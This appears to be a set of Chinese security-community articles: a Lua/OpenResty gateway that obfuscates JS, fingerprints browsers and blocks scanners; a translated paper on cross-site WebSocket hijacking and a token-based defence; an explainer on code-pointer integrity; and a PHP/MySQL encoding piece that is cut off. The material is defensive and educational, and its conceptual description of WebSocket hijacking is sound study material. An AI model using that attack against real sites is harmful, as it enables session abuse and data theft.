* 去注释/去空格
##### 02 功能实现
检测用户发来的请求：当请求文件后缀名为js时，将全局变量`JsConfuse`值改变为`true`
function jsExtDetect()
if JsProtect then
local ext = string.match(ngx.var.uri, ".+%.(%w+)$")
if ext == 'js' then -- 检查请求文件后缀是否为js
JsConfuse = true
end
end
end
改变文件响应内容：全局变量`JsConfuse`为`true`时触发`io.popen()`执行系统命令，对原始响应内容`ngx.arg[1]`进行混淆操作
function jsConfuse()
if JsConfuse then
local originBody = ngx.arg[1] -- 获得原始响应内容
if #originBody > 200 then -- 筛选空js
local s = getRandom(8) -- 生成一个随机字符串
local path = '/tmp/'..s -- 拼接临时文件路径
writefile(path, originBody, 'w+') -- 将原始响应保存在临时路径中
local t = io.popen('export NODE_PATH=/usr/lib/node_modules && node /gate/node/js_confuse.js '..path) -- js混淆
local a = t:read("*all") -- 读取执行结果
ngx.arg[1] = a -- 替换返回内容为混淆后的结果
os.execute('rm -f '..path) -- 删除临时文件
end
JsConfuse = false -- 还原全局变量
end
end
##### 03 功能演示
* 访问原站，js未做安全加固
* 访问保护后的站点，js已被混淆
#### 2.4 防御多源代理请求
##### 01 方案确定
[fingerprintjs](https://github.com/svbailey/fingerprintjs)提供了一种指纹识别方案，通过下发js的方式抓取userAgent、cpuClass、colorDepth等环境数据，然后生成一个哈希指纹作为身份标识
##### 02 功能实现
网关在返回包中插入js，前端生成hash值后写入cookie随下次http请求携带至安全网关
<script type="text/javascript" src="./fingerprint.min.js"></script>
将新生成的数据写入至数组`arr`中，数据位第0位为收集的工具特征，第1位为fingerprintjs
// webdriver.js
var arr = [];
function get_info(){
str = '' + get_webdriver() + get_awvs() + get_appscan();
return str;
}
function finalCookie(){
arr.push(get_info())
let fp = new Fingerprint();
arr.push(fp.get());
return arr
}
setCookie('kQpFHdoh', aesEncrypt(finalCookie(), tt)); // arr ==> ["111", "2188075175"]
对cookieA/B解密后，得到
function split( str,reps ) -- 分隔字符串
local resultStrList = {}
string.gsub(str,'[^'..reps..']+',function ( w )
table.insert(resultStrList,w)
end)
return resultStrList
end
function whiteExtCheck() -- 白名单后缀名检查
local reqExt = string.match(ngx.var.uri, ".+%.(%w+)$") --js
for _,e in ipairs(whiteExt) do -- js、css、png
if reqExt == e then -- 在白名单里时
return true
end
end
return false
end
function toolsInfoSpider()
if ToolsProtect and not whiteExtCheck() then -- 加入一个白名单机制，对后缀为js、css、png、jpg等静态资源不做工具检查
local clientCookieA = ngx.var.cookie_h0yGbdRv
local clientCookieB = ngx.var.cookie_kQpFHdoh
if not (clientCookieA and clientCookieB) then
local ip = 'xxx' -- 服务器ip
local finalPath = 'http://'..ip..'/'..jsPath..'?origin='..encodeBase64(ngx.var.request_uri)
log('1-tools 无cookieA/B', '')
ngx.redirect(finalPath, 302)
else
local result = xpcall(dencrypT, emptyPrint, clientCookieB, clientCookieA)
if not result then
log('2-tools 解密失败', clientCookieA..', '..clientCookieB)
say_html()
else
local result2 = dencrypT(clientCookieB, clientCookieA)
if #result2 < 1 then -- 判断解密后的数据是否为空
log('3-tools 解密失败', result2)
else
local srs = split(result2, ',') -- 以','为分隔符切割解密后的数据，返回table
local _,e = string.find(srs[1], '0') -- 检查第1个数据中是否包含工具特征
if e ~= nil then
log('4-tools 工具请求', result2)
say_html()
else
log('0-tools 工具验证通过, 记录浏览器指纹', '', srs[2]) -- 验证成功，日志记录指纹信息
end
end
end
end
end
end
##### 03 功能演示
分别使用两个ip、三个浏览器对测试网站发起请求，可以看到即使切换了ip同一浏览器的指纹是相同的
筛选指纹关键字，便可以直观的分辨代理ip
#### 2.5 防止敏感信息泄漏
##### 01 方案确定
使用`body_filter_by_lua_file`指令，在`output-body-filter`阶段插入lua规则，对原始响应内容做数据过滤，如：
* 替换手机号、银行卡号、身份证号等敏感信息类数据
* 替换DedeCms、ThinkPHP、ElementUI等web组件指纹类数据
##### 02 功能实现
替换手机号码，将符合规则对数据转变为`"******"`
function dateReplace()
if SensitiveProtect then
local replaceTelephone = string.gsub(ngx.arg[1], "[1][3,4,5,7,8]%d%d%d%d%d%d%d%d%d", "******")
ngx.arg[1] = replaceTelephone
end
end
##### 03 功能演示
访问原站，显示手机号码
访问保护后的站点，手机号码被隐藏
[email protected]
#### 2.6 文件结构
.
├── 403.lua # 403页面
├── aes.lua # aes加解密
├── b64.lua # base64转码
├── config.lua # 配置文件
├── fileio.lua # 文件io相关
├── init.lua # 处理请求的具体逻辑
├── log.lua # 日志相关
├── log # 保存日志的路径
│ ├── error.log
│ └── localhost_2022-02-11_sec.log
├── nginx
│ ├── nginx.conf # 示例配置
│ └── zE48AHvK # 下发cookie相关文件
│ ├── crypto-js.min.js
│ ├── index.html
│ ├── info.html
│ ├── info.js
│ ├── jump.js
│ └── webdriver.js
├── node # babel混淆规则
│ └── js_confuse.js
├── randomStr.lua # 产生随机字符串
├── req.lua # 处理发来的请求，由access_by_lua_file调用
├── resty -> /usr/local/openresty/lualib/resty # 软链接过来的库文件
├── rsp_body.lua # 处理返回包体内容，由body_filter_by_lua_file调用
├── rsp_header.lua # 处理返回包头内容，header_filter_by_lua_file调用
├── tableXstring.lua # table与string转换
└── whiteList.lua # 白名单相关
### 三、小结
功能小结：
本安全网关相较传统waf更偏向业务层面的防护，得益于nginx的良好扩展性，加入lua规则对请求、响应包做增加、删除、修改等操作，在一定程度上降低因原始站点设计缺陷而存在的潜在安全风险，避免对已上架系统进行二次开发，但整套防护方案基于在前端生成的cookie，js安全便成了一个不可忽视的点，后续的重点方向之一便是加强js混淆强度，同时目前编写的5个功能，还存在cookie可被重放使用、处理逻辑返回500状态码等问题，完善已有功能也是接下来更新的重点之一
后期规划：
* 增强js混淆能力和反逆向能力
* 防御xss、sql、xxe等传统web攻击
* 加入图形化日志分析功能，将日志接入splunk、elk等数据处理平台
项目地址：
* <https://github.com/ainrm/safeGate> | 社区文章 |
# 跨站WebSocket劫持漏洞的研究与防御方法
|
##### 译文声明
本文是翻译文章，文章原作者 ieee，文章来源：ieeexplore.ieee.org
原文地址：<https://ieeexplore.ieee.org/document/9182458>
译文仅供参考，具体内容表达以及含义原文为准。
摘要：WebSocket协议是HTML5标准规范的一部分。它是一种新的网络通信协议，提供了客户端与服务器之间的全双工通信机制。WebSocket的出现为实时网络通信带来了利好消息，但相应的WebSocket漏洞也逐渐暴露出来，其中跨站点WebSocket劫持的危害性比较大，容易被忽视。本文主要探讨了WebScoket跨站劫持漏洞的原理，并提出了一种基于混合加密的一次性随机令牌方案来解决WebSocket跨站劫持漏洞，最后对该方案进行了测试，验证其有效性。
## 第一节. 导言
HTML5中的WebSocket协议是基于TCP的应用层通信协议，它参考了套接字的思想，在Web客户端和服务器之间建立了一个全双工的通信通道。在WebSocket通道上，客户端和服务器可以相互通信。WebSocket协议最大的特点是服务器可以主动向客户端发送数据，这对于HTTP协议来说基本上是不可能的，而且它的小头信息非常适合实时通信方案[1]。目前，主流浏览器已经支持WebSocket通信。
随着Internet的快速发展，B/S(Browser/Server)模式已经成为现代应用的主流，Web通信的安全性近年来逐渐受到开发者的重视[2]。WebSocket的诞生主要是为了解决传统B/S模式的实时性问题，因此通信的安全性对于WebSocket应用尤为重要[3]。
在Web即时通信中，WebSocket可以提高网络吞吐量，减少延迟，减轻服务器负担，但也带来了相应的安全隐患。例如，攻击者试图删除和修改用户数据，恶意拦截和窃取数据等。参考文献[4]指出，WebSocket的安全特性可以缓解一些特性的攻击，但近年来Websocket相关的安全漏洞频频曝光，其中最常见的漏洞是CSWSH(Cross-Site WebSocket Hijacking)。该漏洞由德国黑客Christian Schneider于2013年发现并披露，并命名为Cross-Site WebSocket Hijacking[5]。该漏洞容易被研究人员忽视，危害极大。
## 第二节 Websocket协议介绍
2011年，IEFI将WebSocket协议定义为国际标准RFC6455，并由RFC7936进行了补充。WebSocket 后来被纳入 HTML5 规范，其
API 也被 W3C
设定为标准。现在所有主流浏览器都支持它。WebSocket协议是一种基于TCP的应用层协议，它可以在客户端和服务器之间建立全双工通信通道，使双方能够更高效地相互发送和接收数据信息。WebSocket连接的建立需要经过连接请求、握手、连接建立三个步骤[6]，如图1所示。
图1.Websocket连接流程图 – Websocket连接流程图
WebSocket 连接握手是通过 HTTP 完成的。首先，浏览器客户端调用 WebSocket API
以启动连接请求。虽然请求地址以’ws’开头，但它本质上是一个HTTP请求，只是与普通的HTTP请求不同。图 2 是 WebSocket
连接请求消息的部分报头，其中 sec-websocket-key 字段是由客户端生成的 24 位基于 64 字符的随机序列，用于握手验证。
图2.Websocket请求消息的部分头颅
当服务器收到请求后，解析请求头并作出响应，如图3所示。响应状态码101表示连接成功，服务器被替换为WebSocket协议。其他状态码表示连接失败。响应报文中的Sec-Web Socket-Accept是由请求报文中的Sec-WebSocket-Key字段值按照相应算法生成的新字符序列。
图3.websocket握手响应消息的报头
浏览器客户端在收到响应后，确认服务器已经升级协议，然后按照同样的算法计算出之前的Sec-WebSocket-Key值，再与返回的Sec-Web
Socket-Accept进行比较。如果两者一致，则握手成功，客户端升级到WebSocket协议，连接建立，双方可以互相发送数据。否则，连接失败。连接建立后，会一直保持到一方主动发送关闭请求或发生网络错误。浏览器客户端和服务器都可以主动关闭连接。
## 第三节.跨站点Websocket劫持
A. 脆弱性原则
图 4 跨网站网络插口劫持漏洞示意图。
WebSocket协议在握手阶段是基于HTTP的。它没有规定服务器在握手期间如何验证客户端的身份。因此，服务器一般采用HTTP客户端认证机制，如cookie、http基本认证等[5]、[7]。这就导致攻击者可以利用恶意网页伪装用户的身份，与服务器建立WebSocket连接。其攻击原理如图4所示。
首先，用户登录并浏览受信任的网站A，登录成功后，浏览器将用户认证信息保存在Cookie中。此后，用户的每次HTTP请求都会自动带上cookie来验证客户端用户的身份。如果恶意网站B在页面中植入与网站A建立WebSocket连接的握手请求，当用户在没有退出网站A的情况下访问恶意网站时，A网站的Cookie会自动添加到请求头中，而服务器并不知道。所以恶意网站可以冒充用户的身份，成功与服务器建立连接，然后窃取服务器消息或发送伪造的请求来篡改数据。
该漏洞的原理与跨站请求伪造(CSRF)[8]、[9]非常相似，但CSRF漏洞只能发送伪造请求，而跨站WebSocket劫持漏洞建立了完整的读/写双向通道，且不受同源策略的限制，所以跨站WebSocket劫持漏洞的危害更大。为此，Christian
Schneider将该漏洞命名为 “劫持 “而非 “请求伪造”。
B. 漏洞防御
由于CSWSH和CSRF的原理相似，其解决的核心在于验证客户端的身份[8]，[9]。常见的解决方案有以下几种。
图形验证码。在每次连接请求前，向服务器请求一个图像验证码，然后手动输入，并附在请求中，以验证客户端的身份。这种方法安全性高，但每次都需要人工输入验证码，对用户的体检效果极差。
起源验证[5]，[7]。图2中的Origin字段表示请求的源地址。服务器可以检查请求头中的Origin字段，避免恶意连接请求。然而，Origin字段仅由浏览器提供。对于非浏览器客户端来说，这个字段是空的，攻击者可以伪造Origin头信息。
随机令牌。随机令牌是由服务器生成的随机序列，并在登录完成后发给客户端。客户端在每次请求时都会带上token。服务器设置一个拦截器来验证该值，以确定请求者的身份。这种方法效果很好，但是令牌的安全性难以保证，所以还存在令牌泄露[9]和重放攻击的问题。
参考文献[10]提出了一种随机参数名的CSRF防御方法。虽然可以防止攻击者伪造请求参数，但如果请求参数要由用户动态生成，这种方法就不适用了。特别是对于websocket，只有一次连接操作。所以随机化参数和随机令牌的区别不大，这种方法不适合防御CSWSH漏洞。
## 第四节.防御策略
本文提出了一种基于混合加密的一次性随机令牌方案。该方案可以使用协商加密的一次性令牌来验证客户端的身份，并能成功防止令牌泄露和重放攻击。
A. 混合加密
加密技术[11]、[12]一般分为对称加密和非对称加密两种。对称加密是用一个密钥将明文加密成密文，密文只有通过相同的密钥才能解密得到明文。非对称加密有一对用于加密和解密的密钥对：公钥和私钥。两者必须成对使用，一个用于加密，另一个用于解密。所谓公钥是公知的，私钥只有持有者才能知道。用公钥加密的密文，只能用相应的私钥来解密。或者用私钥加密的密文只能由相应的公钥解密。
对称加密和非对称加密，各有各的优缺点。将它们结合起来使用是一个不错的选择，可以弥补它们的不足。本文所采用的混合加密方法，就是利用非对称加密传输对称加密的密钥，再利用对称加密传输随机Token。这样可以保证客户端和服务器拥有相同的密钥，即使Token被泄露，攻击者也不知道加密密钥，因此无法伪造用户请求。
B. 设计方案
WebSocket连接是在HTTP握手的基础上完成的。本文设计的方案是在此基础上改为六次握手阶段。前四次握手用于登录和协商密钥，后两次握手用于建立WebSocket连接并返回新的令牌。
图5.防御方案流程图
如图5所示，步骤如下。
1.客户端向服务器请求公钥信息。
2.服务器将公钥信息返回给客户端。
3.客户端随机生成对称加密密钥，然后使用服务器的公钥对密钥和用户登录信息进行加密，最后发送给服务器。
4.服务器接收后，使用私钥对密文进行解密。获得客户端密钥和表单登录信息后，如果登录信息正确，则随机生成一串令牌，服务器将此令牌和客户端密钥保存起来。最后，将令牌和确认信息返回给客户端，协商完成。
5.当客户端建立连接时，用协商密钥对Token进行加密，并与WebSocket连接请求一起发送给服务器。
6.服务器使用协商密钥解密 Token
值，验证身份信息，并决定是否接受连接。如果确认身份信息，则同时销毁之前的Token，并生成新的Token，一起返回给客户端。
本方案首先采用公钥加密，保证登录信息和客户端密钥的安全。之后，利用协商好的密钥对Token
Token进行加密，这样即使Token被泄露，如果没有密钥加密，服务器也无法验证Token信息，防止了Token泄露的风险。最后，在验证完成后，销毁之前的Token，发放新的Token，可以有效避免重放攻击。
## 第五节 实验结果与分析
本节主要检验所提出的设计方案的效果。
A. 实验平台和检测工具
测试实验以Ubuntu为服务器系统，node.js为Web容器，360安全浏览器为客户端。在防御方案的实现上，非对称加密采用RSA加密算法，对称加密采用AES加密算法。AES密钥长度和随机令牌长度统一规定为16位字符长度。
采用OW ASP ZAP软件作为实验检测工具。设置浏览器代理后，OW ASP
ZAP可以抓取浏览器与服务器之间的数据包进行分析、渗透性检测等。实验主要利用ZAP抓取WebSocket请求连接数据包，修改参数后重新发送连接请求，看是否能成功连接到服务器。
B. 效果测试
图6显示了没有采取任何防御措施的实验结果。原点字段被修改，但连接仍然成功建立，说明存在跨站点WebSocket劫持漏洞。
图6.在没有任何防御措施的情况下成功建立劫持连接
图7.使用防御方案后，请求被重放，但连接失败。
图7是使用本文防御方案的实验结果。可以看出，WebSocket连接失败是因为服务器的Token值发生了变化。当重播请求时，服务器验证失败。
之后，取出捕获的响应数据包中的Token值，替换成请求数据包中的Token。而后再次发送请求，但连接再次失败，如图8所示。这是因为Token没有加密，服务器验证还是失败了。
图8.防御方案
使用防御方案后，Token被篡改，但连接失败。
从以上实验结果可以看出，本文提出的防御方案可以有效抵抗跨站WebSocket劫持漏洞。
## 引用
1.Jiahao Qin “Research and performance analysis of instant messaging based on
WebSocket [J]” Mobile Communication vol. 41 no. 12 pp. 44-48 2017.
2.Xuejie Tong and Xufu Peng “Research on Security Algorithms of Web
Communication [J]” Information Communication vol. 12 pp. 126-127 2018.
3.Chaoju Hu and Cong Gao “Research on New Features and Security of WebSocket
[J]” Network Security Technology and Application vol. 11 pp. 55-56 2015.
4.Cong Gao Research on Application of Information Security Technology in
WebSocket Real-Time Communication [D] North China Electric Power University
2016.
5.Jun Zhu Design and Implementation of WebSocket Security Subprotocol Based on
Node Platform [D] Huazhong University of Science and Technology 2016.
6.Renwei Yi Research on Real-time Web Application Based on WebSocket [D] Wuhan
University of Technology 2013.
7.Deyu Zeng “WebSocket Security Vulnerability and Its Repair [J]” Digital
Technology and Application vol. 09 pp. 198 2016.
8.Dong Lu and Tong Zhou “Research on CSRF Attack and Defense Methods [J]”
Electronic World vol. 12 pp. 139-140 2017.
9.Xinxin Zheng Research on CSRF Attack and Defense Technology [D] Beijing
University of Posts and Telecommunications 2016.
10.Yingjun Wang Jianming Fu and Lily Jiang “Cross-site request forgery defense
method based on randomized parameter names [J]” Computer Engineering vol. 44
no. 11 pp. 158-164 2018.
11.Haiyang Wei “Analysis of Information Security Application of Hybrid
Encryption Technology in Network Communication [J]” Information Communication
vol. 07 pp. 181-182 2018.
12.Pingping Shao “Research on Hybrid Encryption Technology in Computer Network
Security [J]” Information Technology and Informatization vol. 12 pp. 123-125
2018. | 社区文章 |
# 代码指针完整性
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
控制流劫持攻击是当前较为主流的攻击方式之一，包括ROP、JOP等等。相应的缓解、防御措施则包括数据执行保护DEP、栈保护、地址随机化ASLR、控制流完整性CFI等等。以上措施是大家比较常见和常用的，也有许多人写了大量的相关文章进行分析。现在我想给大家介绍很少有人提及的一种防御措施——代码指针完整性CPI，希望对大家有所裨益，错漏之处，还请大家不吝斧正。
CPI即code-pointer integrity，是由Volodymyr
Kuznetsov（可译作库兹涅佐夫，很带感有没有，推荐大家去看一看他的视频，那英语更带感）等人于2014年提出的一种防御控制流劫持攻击的机制。核心思想是将进程占用的内存划分为安全区（safe
region）和常规区(regular
region)，并基于硬件（也有软件方式，但不常用）对两个区域做了隔离。安全区只能存放敏感指针和元数据（metadata，用来描述敏感指针指向对象的值，地址上下界，以及分配的时序id，如下图所示），同时对安全区的访问要么是在编译时证明安全的，要么是通过运行时安全检查的。对常规区的访问没有任何特殊之处。
内存分区如下图所示：
比如以下这段代码：
在CPI机制下，对应的进程在内存中应该是这样的：
CPI假设攻击者已经有足够强大的能力，他们：
* 对进程内存有完全的控制权，但不能修改代码段
* 可以对任意地址（代码段外的）进行读写
* 不能干涉程序加载
这样的假设已经大大高估了攻击者的能力，同时也能保证代码插桩的进行和区域隔离的实施。
在具体实施时，是通过以下步骤来进行的:
* 对源码进行静态分析
静态分析时将会对敏感指针进行识别。如果一个指针的类型是敏感的，那么这个指针就是敏感的。敏感类型主要包括：
* 指向函数的指针
* 指向敏感类型的指针
* 有成员是敏感类型的复合类型（结构体或数组）
* 泛型指针(void*, char*, 在定义结构体或类以前就声明的指针)
* 用户自定义的敏感类型 （如存储有操作系统UID信息的结构体）
* 所有在编译或运行是隐式生成的代码指针（返回地址，C++虚函数表，setjmp缓存）
另外，所有对敏感指针进行操作的指令也需要被识别，主要包括：
* 解引用
* 指针运算
* 分配或释放内存
由于敏感指针类型里包含char*这样的泛型指针，所以静态分析时会高估静态指针数量，为了减少开销，CPI将作为libc字符串函数参数和指向常量的char*指针认为是不敏感的。
## 二.代码插桩
代码插桩的目的在于：
* 保证所有敏感指针存储在安全区
* 运行时创建和传递这类指针的相关元数据
* 解引用时检查元数据
插桩时将会在安全区和常规区都分配空间给敏感指针，但同时只能有⼀个是有效的。这样做能够解决内存布局改变带来的兼容性问题，同时也能避免类似void*这样的指针的敏感性发生改变带来的问题。这样的方案能够按照指针在常规区的位移来计算其在安全区的相应地址。
静态分析过程中已经找到了对敏感指针进行操作的指令，插桩将会对其进行针对性的改写，创建新的或者是直接沿用之前已有的元数据。其中，对敏感指针进行读取和存储的指令将会由CPI机制设计的指令代替以将敏感指针从安全区取出或者是存入安全区。call指令和ret指令的保护将会通过安全栈（safe
stack）来进行。
敏感指针的每次解引用都要进行插桩，以便在运行时检查元数据来检测该指针是否安全。泛型指针在安全区和常规区都占有内存，若不是敏感指针，则将其元数据中的下界设置为大于上界，这样一来，访问元数据时就会认定为非法访问，从而转为访问常规区进行相应操作。
以下是插桩过程中提供的部分接口函数：
## 三.隔离安全区
实施隔离的具体措施是与系统架构相关的。主要有：
1. x86-32架构
在此架构下，CPI依赖于硬件段保护，使得安全区只能通过特定、专用的段寄存器访问，实际上是将该寄存器当做程序装载器来使用。考虑如下代码片段：
隔离后实际指令变为：
此处使用gs寄存器来实施隔离，而syscall指令往往也要访问该寄存器，所以CPI改写指令，禁用了相关操作。
2. x86-64架构
此架构下段保护已无法保证，但仍可以基于信息隐藏完成隔离，因为常规区中的地址不会指向安全区（否则就是敏感指针），信息也就不会泄露（作者认为这是一个事实，但有趣的是，这其实只是一个不总是成立的假设）。该架构下48bit（Linux内核将x86-64的进程地址空间定义为“48
bit – 1 protect page”）的地址空间也可以做到防止暴力破解，攻击者在试图破解之后程序可能会崩溃（这是另外一个作者认为是事实的假设）。
其他架构可以使用地址随机化或者是software fault isolation(翻译没有英文那么准确，姑且用其英文名）。
敏感指针只占很少一部分，且空间分布高度分散。为了节省内存，采用哈希表、多级查找表，或者是将地址作为下标的数组来实现。
* 安全栈
为了减少开销和降低复杂度，CPI特别引入了安全栈机制。因为栈上存放的返回地址等数据需要被频繁访问。
绝大多数栈上数据的访问能在编译时就验证其安全性，无需运行时来检查，且大都是通过esp寄存器加上栈内偏移来访问的。因此，CPI把所有这些被证明是安全的对象存放到安全区的某片区域，称为安全栈。如果函数中的内存对象（全局或局部变量，动态分配的内存块等）需要检查，则在常规区给他们分配⼀块独立的栈帧。
安全栈的实施同样需要进行静态分析和插桩，静态分析得安全栈需要包含哪些对象，插桩完成相应结构的填充。另外安全栈还进行了运行时支持（runtime
support），为每一个线程分配常规区上的栈，要么作为线程库的一部分，要么用来干预线程的创建和销毁。
为了更高的性能，弱化版本的CPI——Code-Pointer
Separation（CPS）被提出。相比CPI，CPS对敏感指针的认定有所放松，只识别代码指针，指向代码指针的指针不再是敏感的。同时，代码指针只指向控制流目标（control
flow
destination）。控制流目标是代码段的某个位置，包括函数入口和返回地址等等。这样的机制可以防止伪造代码指针，但是无法阻止攻击者对代码指针的读写。同时，由于控制流目标是精确的某一个位置，无需上下界等信息，CPS的敏感指针是在编译时就能确定的，是静态的，不用再分配id（当卸载共享库时情况有所不同，需要特殊处理）所以无需引入元数据，使得安全区范围缩小了，同时对代码指针的访问次数也大大减少。
## 形式化证明
为了验证该机制的正确性，作者做了形式化的证明。水平有限，我尝试为大家梳理一下。
首先，定义运行时环境为E,它是一个三元组，为以下形式：
S表示将某变量映射到其类型和地址，Mu是常规区的某一地址，存储着一个值，记作v，Ms是安全区某一地址，存储着某值
和其上下界信息v(b,e)，b为下界，e为上界，或者被标记为none。
对Mu和Ms的操作有以下几类：
涵盖了读写和内存分配操作。操作的结果有以下几类：
v(b,e)和v表示安全，OK代表操作成功，OutOfMem、Abort代表错误。lu和ls是有某个左表达式产生的位置（location）。
a表示原子类型int或者是p*。
左表达式lhs包括某变量，结构体成员，指针解引用。
右表达式包括整数、函数地址，左表达式、左表达式地址、指针大小、为右表达式分配内存情况。
特别地，lhs=rhs表示变量赋值等操作。
和表示左表达式分配至安全区或是常规区。
和表示将右表达式分配至安全区或是常规区，可能还伴有运行时环境的转换（E和）。
表示执行命令c，得到结果r,可能伴有运行时环境的转换（E和）。
表示取某函数地址，得到其位置l,同时返回结果r。
表示分配i单位内存，得到某位置上下界l、l+i，同时返回结果r。
以上三个式子表示对敏感指针的操作（如解引用等）将会被判定，返回结果r。
是对读写操作进行判定。对从安全区读出的值进行检查，如果与元数据信息（上下界）相符，则可以进行后续操作，否则返回Abort（错误）。对写入安全区的数据也进行检查，通过之后返回OK。
表示任何经由常规区对安全区的访问都是非法的，返回Abort。
处理了泛型指针的敏感性会动态变化的情形。由于泛型指针在安全区和常规区均占有内存，读取时先在安全区标记为none，然后从常规区直接取值。写操作是类似的，直接写入常规区，然后将安全区标记为none,成功返回OK。
对于常规区的操作无需任何干涉，也不会产生任何问题，直接返回OK。
函数的直接调用是很简单的，如果函数指针位于安全区（ls）,则返回OK，位于常规区（lu）则返回Abort。
至此，对于敏感指针操作状态的情况已经讨论完毕，其判断路径是完备的，CPI机制的正确性也就证明了。
## 测试
为了验证有效性，CPI基于RIPE（runtime intrusion prevention
evaluator，运行时入侵防御检测，能自动生成溢出攻击代码，有兴趣的可以看一下https://github.com/johnwilander/RIPE），进行了测试，成功进行了防御。并对新出现的几种能绕过DEP、ASLR、CFI等机制的攻击也实现了防御。
CPI基于SPEC CPU2006标准，对100多个软件包进行了测试，结果如下：
统计结果如下：
可以看到，CPI，尤其是CPS的表现还是相当不错的。
同时，在WEB平台上也做了测试（FreeBSD + Apache + SQLite + mod_wsgi + Python +Django）,结果如下：
至此，对 CPI的介绍就完成了。
## 一点后话
CPI进行了形式化的证明，证明了其能百分百防御控制流劫持攻击，这一点是毋庸置疑的。但正如前文所提到的，CPI依赖于两个实际上是假设的“事实”，这就为针对它的攻击（至少是针对某一种具体实现方式的攻击）提供了可能。欲知后事如何，请听下回分解。 | 社区文章 |
# 【技术分享】关于PHP内部编码与mysql字符差异问题的研究
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
****
****
**作者：**[ **bendawangs**](http://bobao.360.cn/member/contribute?uid=323662175)
**稿费：500RMB（不服你也来投稿啊！）**
**投稿方式：发送邮件至linwei#360.cn，或登陆**[
**网页版**](http://bobao.360.cn/contribute/index) **在线投稿**
**0x01 引入**
最近稍稍研究了下关于PHP的内部编码的问题，以及mysql的字符差异的问题，分享下心得，如果有误请大家及时指正。
至于为什么要介绍mysql字符差异问题，是因为普遍将其原因归纳于PHP编码与mysql的UTF-8编码不统一，但实际上这个只是mysql单方面的原因而与PHP的编码方式无关。
另外本文不涉及编码的具体方式。
先引入如下代码：
<?php
$m="可";
echo strlen($m);
?>
问这里输入几？2还是3呢？
不多废话直接开始测试下就知道了，截图如下：
PS：enca是linux下一款用于探测和修改文件编码方式的软件
可以看到，在文件的编码方式为UTF-8的时候，代码输出为3，而文件编码为GB2312的时候，代码输入为2。
PS:平时linux和windows下文本文件默认都是以UTF-8的形式保存
也就是说，这里这个该文件的编码类型决定了文件中那个 "可" 字的长度。那么原因是什么呢？
**0x02 关于PHP的编码问题**
**2.1 PHP内部编码**
这里需要说明一下，首先PHP内部的字符串只是一个字节序列，并不会保留任何的编码信息，所以可以说说PHP是不关心编码的，即PHP里一个字符就是一字节。
所以你的字符串啊，各种来源的输入啊之类的PHP都是可以识别的，至于能不能显示，能不能处理又是另一回事了。因为无论你在文本编辑器中保存了什么、或是从数据库中得到它，它已经被编码了，就是说已经被决定了占用了几个字节了，在传递给PHP的时候就已经是以字节的形式传递过去了。
所以说对于PHP来说，一个字符及对应一个字节，换言之，我们可以通过控制数据指针访问到字符串的每一个字节。
而PHP对编码的唯一要求就是它要能够保存为ascii的形式，因为它需要从中获取指令。但是这一点我们并不需要担心，因为大部分编码方式都向下兼容ascii。但是也有例外，比如UTF-16就不兼容ascii，所以我们不能用UTF-16来保存PHP源代。
PS:UTF即 Unicode Translation Format
，即把Unicode转作某种格式的意思。标准的UNICODE编码又称UTF-16。所以UTF-16也就可以理解为通常意义上说的UNicode编码。非要说二者区别的话，也就是UTF-16的本质算是一种存储方式吧。
如下图做个测试，我们以UNICODE保存PHP源码，然后访问如下图：
发现PHP都没有被解析直接返回了源码。即PHP源文件已经无法被正常解析了。也就是说我们可以将PHP源代码保存为任何ASCII兼容的编码，因为如果编码的前128个代码点与ASCII相同，那么就意味着PHP可以解析它。或是说PHP支持该编码方式。
PS:一个语言支持某个编码方式是什么意思？例如，Javascript支持Unicode，事实上，Javascript中的任何字符串都是Unicode编码的，即不能在Javascript中有一个不是Unicode编码的字符串。其他语言只是编码感知。在内部，它们以特定的编码，通常是Unicode存储字符串。反过来，他们需要被告知或尝试检测与文本有关的一切的编码。他们需要知道保存源代码的编码，他们应该读取的文件的编码，要输出文本的编码，并且它们根据需要转换编码，其中一些表现形式是作为中间人的Unicode，很显然的代表就是python。
那么到这儿我们就可以理解引入部分那个例子了。
因为对于PHP来说，每一个字符就是一个字节，所以strlen和内部编码无关，因此它将计算字节数，而不是字符数。所以该文件的编码类型决定了文件中那个 “可”
字所占用的字节数，从而决定了strlen计算的数目。
所以这些“可读的字符”的东西是我们人自己的事情，但是PHP语言其实并不在乎。
**2.2 关于PHP的乱码问题**
有了上面的知识，那么我们可以发现其实PHP内部的编码方式是什么并不是问题关键，问题的关键在于内外内外编码方式的差异。因为PHP不试图解释，转换，编码或以其他方式干扰获取到的字节序列。
该文件甚至可以包含二进制数据或是PHP内部编码并不支持的UNICODE编码的文件，PHP不在乎这些。
但内部和外部编码必须匹配，譬如我们的汉字要想输入在html页面上，需要设置meta或是用header，将输出的编码方式设置位支持汉字的编码方式。
所以乱码问题总结就是一个，内部编码与外部编码差异。所以最简单的解决方案是啥？如果是正常情况下使用时：
将PHP的内部编码设置为UTF-8。
将所有源文件保存为UTF-8。
使用UTF-8作为输出编码（不要忘记发送合适的内容类型头）。
将数据库连接设置为使用UTF-8（在MySQL中为SET NAMES UTF8）。
如果可能的话配置一切编码为UTF-8。
PS:这里为啥是UTF-8而不是别的？因为就我查阅的资料来看，它可以表示所有Unicode字符，因此可以取代所有现有的7位和8位编码，并且因为它与ASCII是二进制兼容的，即每个有效的ASCII字符串也是一个有效的UTF-8字符串。
这里再提及一下关于PHP中设置编码的函数，对单个字符串编码的函数就不赘述了，这里只说常用的配置整体环境编码的iconv_set_encoding，过去常用这个来配置默认编码方式:
bool iconv_set_encoding ( string $type , string $charset )
type 的值可以是以下其中任意一个：
input_encoding
output_encoding
internal_encoding
对应与PHP.ini中的 iconv.input_encoding
、iconv.output_encoding、iconv.internal_encoding 。
但是由于上述三个在PHP5.6之后就已经废弃，三者被统一被default_charset代替，所以没必要再介绍了，而且现在大部分PHP环境的都是5.6以上了。
所以就这里说说default_charset，即默认编码方式，简单来说就是在 Content-type：xxxx
中输出的默认的字符编码，设置了这个，Content-type
就会是设置的值。默认情况下是ISO8859-1，通常叫做Latin-1。但通常我们都会修改为UTF-8。
**0x03 MYSQL的UTF-8编码与字符差异**
**3.1 MYSQL的UTF-8编码**
为什么这里要单挑出UTF-8来讲，因为在MYSQL中除了UTF-8编码，其他编码都和普通一样没有赘述的必要。
MySQL的UTF-8实际上是完整的UTF-8字符集的大部分实现，而非完整实现。具体来说，MySQL的UTF-8数据编码最多使用3个字节，而编码完整的UTF-8字符集需要4个字节。所以如果需要支持例如星形符号等需要四字节编码的字符，MySQL的UTF-8就无力了。但是从MySQL
